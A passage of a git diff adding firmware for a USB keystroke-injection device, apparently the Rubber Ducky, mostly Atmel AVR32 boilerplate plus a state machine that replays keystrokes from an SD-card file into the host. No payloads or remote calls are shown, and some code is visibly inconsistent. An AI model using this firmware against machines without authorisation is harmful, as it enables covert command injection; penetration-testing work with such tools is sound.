Here, turn off Scroll LED + LED_Off( LED1 ); + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/main.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/main.h new file mode 100644 index 0000000..511fcad --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/main.h @@ -0,0 +1,88 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ****************************************************************** + * + * \brief Declaration of main function used by HID mouse example + * + * - Compiler: IAR EWAVR and GNU GCC for AVR + * - Supported devices: All AVR devices with a USB module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ***************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#ifndef _MAIN_H_ +#define _MAIN_H_ + +#include "compiler.h" + +/*! \brief Called by HID interface + * Callback running when USB Host enable kbd interface + * + * \retval true if mouse startup is ok + */ +bool main_kbd_enable(void); + +/*! \brief Called by HID interface + * Callback running when USB Host disable kbd interface + */ +bool main_kbd_disable(void); + +/*! \brief Called when a start of frame is received on USB line + */ +void main_sof_action(void); + +/*! \brief Called by UDD when a suspend is received + * Callback running when USB Host set USB line in suspend state + */ +void main_suspend_action(void); + +/*! \brief Called by UDD when the USB line exit of suspend state + */ +void main_resume_action(void); + +/*! \brief Called by UDC when USB Host request to enable remote wakeup + */ +void main_remotewakeup_enable(void); + +/*! \brief Called by UDC when USB Host request to disable remote wakeup + */ +void main_remotewakeup_disable(void); + +/*! \brief Called by UDC when USB Host setreport + */ +void main_kbd_change(uint8_t value); + +#endif // _MAIN_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/main2.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/main2.c new file mode 100644 index 0000000..ec0e0cb --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/main2.c @@ -0,0 +1,313 @@ +//_____ M A I N ___________________________________________________________ +// +// Module : RubberDucky +// Description : Simple USB HID Keyboard injection +// Date : February 3, 2012 +// Credit : Mostly borrowed from ATMEL's example code +//__________________________________________________________________________ + +//_____ I N C L U D E S ___________________________________________________ +#include +#include "compiler.h" +#include "main.h" +#include "preprocessor.h" +#include "board.h" +#include "print_funcs.h" +#include "ctrl_access.h" +#include "power_clocks_lib.h" +#include "gpio.h" +#include "usart.h" +#include "spi.h" +#include "conf_sd_mmc_spi.h" +#include "fat.h" +#include "file.h" +#include "navigation.h" +#include "conf_usb.h" +#include "udc.h" +#include "udd.h" +#include "led.h" +#include "udi_hid_kbd.h" +#include "sysclk.h" +#include "sleepmgr.h" + +//_____ M A C R O S ________________________________________________________ +// shell USART Configuration +#define SHL_USART (&AVR32_USART1) +#define SHL_USART_RX_PIN AVR32_USART1_RXD_0_0_PIN +#define SHL_USART_RX_FUNCTION AVR32_USART1_RXD_0_0_FUNCTION +#define SHL_USART_TX_PIN AVR32_USART1_TXD_0_0_PIN +#define SHL_USART_TX_FUNCTION AVR32_USART1_TXD_0_0_FUNCTION +#define SHL_USART_BAUDRATE 57600 + + +//_____ D E C L A R A T I O N S ____________________________________________ +// init status var +//static bool main_b_kbd_enable = false; + +// filename +const char *injectFile = "A:\\inject.bin"; + +// state machine enum +typedef enum injectState { + state_IDLE, + state_START_INJECT, + state_INJECTING, + state_KEY_DOWN, + state_KEY_UP, + state_MOD_DOWN, + state_MOD_KEY_DOWN, + state_MOD_KEY_UP, + state_MOD_UP, + state_WAIT +} injectState_t; + + +//_____ F U N C T I O N S __________________________________________________ + +// initializes the SD/MMC memory resources: GPIO, SPI and MMC +//------------------------------------------------------------------- +static void sd_mmc_resources_init(long pba_hz) { + + // GPIO pins used for SD/MMC interface + static const gpio_map_t SD_MMC_SPI_GPIO_MAP = { + {SD_MMC_SPI_SCK_PIN, SD_MMC_SPI_SCK_FUNCTION }, // SPI Clock. + {SD_MMC_SPI_MISO_PIN, SD_MMC_SPI_MISO_FUNCTION}, // MISO. + {SD_MMC_SPI_MOSI_PIN, SD_MMC_SPI_MOSI_FUNCTION}, // MOSI. + {SD_MMC_SPI_NPCS_PIN, SD_MMC_SPI_NPCS_FUNCTION} // Chip Select NPCS. + }; + + // SPI options. + spi_options_t spiOptions = { + .reg = SD_MMC_SPI_NPCS, + .baudrate = SD_MMC_SPI_MASTER_SPEED, // Defined in conf_sd_mmc_spi.h. + .bits = SD_MMC_SPI_BITS, // Defined in conf_sd_mmc_spi.h. + .spck_delay = 0, + .trans_delay = 0, + .stay_act = 1, + .spi_mode = 0, + .modfdis = 1 + }; + + // assign I/Os to SPI. + gpio_enable_module(SD_MMC_SPI_GPIO_MAP, + sizeof(SD_MMC_SPI_GPIO_MAP) / sizeof(SD_MMC_SPI_GPIO_MAP[0])); + + // initialize as master. + spi_initMaster(SD_MMC_SPI, &spiOptions); + + // set SPI selection mode: variable_ps, pcs_decode, delay. + spi_selectionMode(SD_MMC_SPI, 0, 0, 0); + + // enable SPI module. + spi_enable(SD_MMC_SPI); + + // Initialize SD/MMC driver with SPI clock (PBA). + sd_mmc_spi_init(spiOptions, pba_hz); +} + +// process a USB frame +//------------------------------------------------------------------- +void process_frame(uint16_t framenumber) +{ + static uint8_t cpt_sof = 0; + static injectState_t state = state_START_INJECT; + static uint8_t wait = 0; + static uint16_t debounce = 0; + static uint16_t injectToken = 0x0000; + + // scan process running each 2ms + cpt_sof++; + if( 2 > cpt_sof ) + return; + cpt_sof = 0; + + // pulse led + LED_Set_Intensity( LED0, framenumber >> 1 ); + + // debounce switch + if( debounce > 0 ) --debounce; + + // injection state machine + switch(state) { + + case state_IDLE: + // check switch + if( gpio_get_pin_value(GPIO_JOYSTICK_PUSH) == GPIO_JOYSTICK_PUSH_PRESSED ) { + + // debounce + if( debounce == 0 ) { + state = state_START_INJECT; + debounce = 250; + } + } + break; + + case state_START_INJECT: + file_open(FOPEN_MODE_R); + state = state_INJECTING; + break; + + case state_INJECTING: + + if( file_eof() ) { + file_close(); + state = state_IDLE; + break; + } + + injectToken = ( file_getc() | ( file_getc() << 8 ) ); + + if( ( injectToken&0xff ) == 0x00 ) { + wait = injectToken>>8; + state = state_WAIT; + } + else if( ( injectToken>>8 ) == 0x00 ) { + state = state_KEY_DOWN; + } + else { + state = state_MOD_DOWN; + } + break; + + case state_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); + state = state_KEY_UP; + break; + + case state_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); + state = state_INJECTING; + break; + + case state_MOD_DOWN: + udi_hid_kbd_modifier_down(injectToken>>8); + state = state_MOD_KEY_DOWN; + break; + + case state_MOD_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); + state = state_MOD_KEY_UP; + break; + + case state_MOD_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); + state = state_MOD_UP; + break; + + case state_MOD_UP: + udi_hid_kbd_modifier_up(injectToken>>8); + state = state_INJECTING; + break; + + case state_WAIT: + if( --wait == 0 ) { + state = state_INJECTING; + } + break; + + default: + state = state_IDLE; + } +} + +// main +//------------------------------------------------------------------- +int main(void) { + + uint32_t sizeTemp; + + // init cpu + irq_initialize_vectors(); + cpu_irq_enable(); + + // init board + sleepmgr_init(); + sysclk_init(); + board_init(); + + // initialize SD/MMC resources: GPIO, SPI. + sd_mmc_resources_init(FOSC0); + + // test if the memory is ready - using the control access memory abstraction layer (/SERVICES/MEMORY/CTRL_ACCESS/) + if (mem_test_unit_ready(LUN_ID_SD_MMC_SPI_MEM) == CTRL_GOOD) { + // Get and display the capacity + mem_read_capacity(LUN_ID_SD_MMC_SPI_MEM, &sizeTemp); + } + else { + // error - we can't proceed - sit and spin... + while(true) { LED_On( LED1 ); } + } + + // Start USB stack + udc_start(); + udc_attach(); + + while(true) { + //sleepmgr_enter_sleep(); + } +} + +//------------------------------------------------------------------- +void main_suspend_action(void) +{ + LED_Off(LED0); + LED_Off(LED1); +} + +//------------------------------------------------------------------- +void main_resume_action(void) +{ +} + +//------------------------------------------------------------------- +void main_sof_action(void) +{ + if( main_b_kbd_enable ) { + process_frame( udd_get_frame_number() ); + } +} + +//------------------------------------------------------------------- +// If remote wakeup enable/disable is supported insert code below +void main_remotewakeup_enable(void) +{ +} + +//------------------------------------------------------------------- +void main_remotewakeup_disable(void) +{ +} + +//------------------------------------------------------------------- +bool main_kbd_enable(void) +{ + //main_b_kbd_enable = true; + return true; +} + +//------------------------------------------------------------------- +void main_kbd_disable(void) +{ + //main_b_kbd_enable = false; mod + return false; +} + +//------------------------------------------------------------------- +void main_kbd_change(uint8_t value) +{ + //old code 2 lines + // we use the setreport as the trigger to start the launch + //main_b_kbd_enable = true; + + //this is called when LEDs CAPS LCK, NUM LCK change + if (value & HID_LED_NUM_LOCK) { + // Here, turn on Num LED + } else{ + // Here, turn off Num LED + } + if (value & HID_LED_CAPS_LOCK) { + // Here, turn on Caps LED + } else { + // Here, turn off Caps LED + } +} \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB.atsln b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB.atsln new file mode 100755 index 0000000..8e5f30d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB.atsln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# AvrStudio Solution File, Format Version 11.00 +Project("{54F91283-7BC4-4236-8FF9-10F437C3AD48}") = "USB", "USB\USB.cproj", "{4D91A5EB-CC7A-486D-ACD2-95623AE05759}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AVR = Debug|AVR + Release|AVR = Release|AVR + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4D91A5EB-CC7A-486D-ACD2-95623AE05759}.Debug|AVR.ActiveCfg = Debug|AVR + {4D91A5EB-CC7A-486D-ACD2-95623AE05759}.Debug|AVR.Build.0 = Debug|AVR + {4D91A5EB-CC7A-486D-ACD2-95623AE05759}.Release|AVR.ActiveCfg = Release|AVR + {4D91A5EB-CC7A-486D-ACD2-95623AE05759}.Release|AVR.Build.0 = Release|AVR + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB.atsuo b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB.atsuo new file mode 100755 index 0000000..c302952 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB.atsuo differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/USB.cproj b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/USB.cproj new file mode 100755 index 0000000..c60bd65 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/USB.cproj @@ -0,0 +1,616 @@ + + + + 2.0 + 5.1 + {4d91a5eb-cc7a-486d-acd2-95623ae05759} + $(MSBuildProjectName) + $(MSBuildProjectName) + $(MSBuildProjectName) + 2.11.1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + AT32UC3B0256 + uc3b + C + com.Atmel.AVRGCC32 + + $(MSBuildProjectDirectory)\$(Configuration) + $(MSBuildProjectName) + .elf + Executable + Native + + + + + + + BOARD=EVK1101 + SD_MMC_SPI_ENABLE + UDD_ENABLE + ACCESS_USB_ENABLED + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/applications/user_application/at32uc3b0256_evk1101 + ../src/asf/common/boards + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/spi + ../src/asf/common/services/storage/ctrl_access + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/clock + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/sleepmgr/uc3 + ../src/asf/common/services/usb + ../src/asf/common/services/usb/class/msc + ../src/asf/common/services/usb/udc + + + Optimize for size (-Os) + -fdata-sections + True + True + -Werror-implicit-function-declaration -Wmissing-prototypes -Wpointer-arith -Wstrict-prototypes -mno-cond-exec-before-reload -mrelax -std=gnu99 + True + + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax -Wl,-e,_trampoline + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/applications/user_application/at32uc3b0256_evk1101 + ../src/asf/common/boards + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/spi + ../src/asf/common/services/storage/ctrl_access + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/clock + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/sleepmgr/uc3 + ../src/asf/common/services/usb + ../src/asf/common/services/usb/class/msc + ../src/asf/common/services/usb/udc + + + -DBOARD=EVK1101 -mrelax -DSD_MMC_SPI_ENABLE -DUDD_ENABLE -DACCESS_USB_ENABLED + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/applications/user_application/at32uc3b0256_evk1101 + ../src/asf/common/boards + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/spi + ../src/asf/common/services/storage/ctrl_access + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/clock + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/sleepmgr/uc3 + ../src/asf/common/services/usb + ../src/asf/common/services/usb/class/msc + ../src/asf/common/services/usb/udc + + + + + True + True + True + True + + + + + + + BOARD=EVK1101 + SD_MMC_SPI_ENABLE + UDD_ENABLE + ACCESS_USB_ENABLED + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/applications/user_application/at32uc3b0256_evk1101 + ../src/asf/common/boards + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/spi + ../src/asf/common/services/storage/ctrl_access + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/clock + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/sleepmgr/uc3 + ../src/asf/common/services/usb + ../src/asf/common/services/usb/class/msc + ../src/asf/common/services/usb/udc + + + Optimize (-O1) + -fdata-sections + True + Maximum (-g3) + True + -Werror-implicit-function-declaration -Wmissing-prototypes -Wpointer-arith -Wstrict-prototypes -mno-cond-exec-before-reload -mrelax -std=gnu99 + True + + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax -Wl,-e,_trampoline + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/applications/user_application/at32uc3b0256_evk1101 + ../src/asf/common/boards + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/spi + ../src/asf/common/services/storage/ctrl_access + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/clock + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/sleepmgr/uc3 + ../src/asf/common/services/usb + ../src/asf/common/services/usb/class/msc + ../src/asf/common/services/usb/udc + + + -DBOARD=EVK1101 -mrelax -DSD_MMC_SPI_ENABLE -DUDD_ENABLE -DACCESS_USB_ENABLED + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/applications/user_application/at32uc3b0256_evk1101 + ../src/asf/common/boards + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/spi + ../src/asf/common/services/storage/ctrl_access + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/clock + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/sleepmgr/uc3 + ../src/asf/common/services/usb + ../src/asf/common/services/usb/class/msc + ../src/asf/common/services/usb/udc + + + + + True + True + True + True + + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/license.txt b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/license.txt new file mode 100755 index 0000000..11194ac --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/license.txt @@ -0,0 +1,34 @@ +/** + * Main file of the USB mass-storage example. + * + * Copyright (c) 2009-2012 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + * + */ \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf.h new file mode 100755 index 0000000..cfe9dfa --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf.h @@ -0,0 +1,99 @@ +/** + * \file + * + * \brief Autogenerated API include file for the AVR Software Framework (ASF) + * + * Copyright (c) 2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef ASF_H +#define ASF_H + +/* + * This file includes all API header files for the selected drivers from ASF. + * Note: There might be duplicate includes required by more than one driver. + * + * The file is automatically generated and will be re-written when + * running the ASF driver selector tool. Any changes will be discarded. + */ + +// From module: CPU - Interrupt management - UC3 implementation +#include + +// From module: CPU - SLEEP - Sleep manager - UC3 implementation +#include +#include + +// From module: GPIO - General-Purpose Input/Output +#include + +// From module: MEMORY - FLASHC - Flash Controller +#include + +// From module: MEMORY - Memory Control Access +#include + +// From module: MEMORY - SD/MMC card access using SPI +#include +#include + +// From module: PM - UC3 A0/A1/A3/A4/B0/B1 implementation +#include +#include + +// From module: SPI - Serial Peripheral Interface +#include + +// From module: TIMING - Clock Control - UC3 B0 implementation +#include + +// From module: USB Device Stack Core +#include +#include + +// From module: USB MSC (Single Interface Device) +#include + +// From module: USB MSC Protocol +#include + +// From module: UTILITY - Compiler abstraction layer and code utilities +#include +#include + +// From module: UTILITY - Generic board support +#include + +#endif // ASF_H diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/boards/evk1101/evk1101.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/boards/evk1101/evk1101.h new file mode 100755 index 0000000..d07f1f6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/boards/evk1101/evk1101.h @@ -0,0 +1,299 @@ +/***************************************************************************** + * + * \file + * + * \brief AT32UC3B EVK1101 board header file. + * + * This file contains definitions and services related to the features of the + * EVK1101 board rev. A and B. + * + * To use this board, define BOARD=EVK1101. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _EVK1101_H_ +#define _EVK1101_H_ + +#include "compiler.h" + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. +# include "led.h" +#endif // __AVR32_ABI_COMPILER__ + + +/*! \name Oscillator Definitions + */ +//! @{ + +#if UC3B +#define FOSC32 32768 //!< Osc32 frequency: Hz. +#define OSC32_STARTUP AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods. + +#define FOSC0 12000000 //!< Osc0 frequency: Hz. +#define OSC0_STARTUP AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods. +#elif UC3D +#define FOSC32 32768 //!< Osc32 frequency: Hz. +#define OSC32_STARTUP AVR32_SCIF_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods. + +#define FOSC0 12000000 //!< Osc0 frequency: Hz. +#define OSC0_STARTUP AVR32_SCIF_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods. + +#endif + +// Osc1 crystal is not mounted by default. Set the following definitions to the +// appropriate values if a custom Osc1 crystal is mounted on your board. +//#define FOSC1 12000000 //!< Osc1 frequency: Hz. +//#define OSC1_STARTUP AVR32_PM_OSCCTRL1_STARTUP_2048_RCOSC //!< Osc1 startup time: RCOsc periods. + +//! @} + +/* These are documented in services/basic/clock/uc3b0_b1/osc.h */ +#define BOARD_OSC0_HZ 12000000 +#define BOARD_OSC0_STARTUP_US 17000 +#define BOARD_OSC0_IS_XTAL true +#define BOARD_OSC32_HZ 32768 +#define BOARD_OSC32_STARTUP_US 71000 +#define BOARD_OSC32_IS_XTAL true + +/*! \name USB Definitions + */ +//! @{ + +//! Multiplexed pin used for USB_ID: AVR32_USBB_USB_ID_x_x. +//! To be selected according to the AVR32_USBB_USB_ID_x_x_PIN and +//! AVR32_USBB_USB_ID_x_x_FUNCTION definitions from . +#define USB_ID AVR32_USBB_USB_ID_0_0 + +//! Multiplexed pin used for USB_VBOF: AVR32_USBB_USB_VBOF_x_x. +//! To be selected according to the AVR32_USBB_USB_VBOF_x_x_PIN and +//! AVR32_USBB_USB_VBOF_x_x_FUNCTION definitions from . +#define USB_VBOF AVR32_USBB_USB_VBOF_0_0 + +//! Active level of the USB_VBOF output pin. +#define USB_VBOF_ACTIVE_LEVEL LOW + +//! USB overcurrent detection pin. +#define 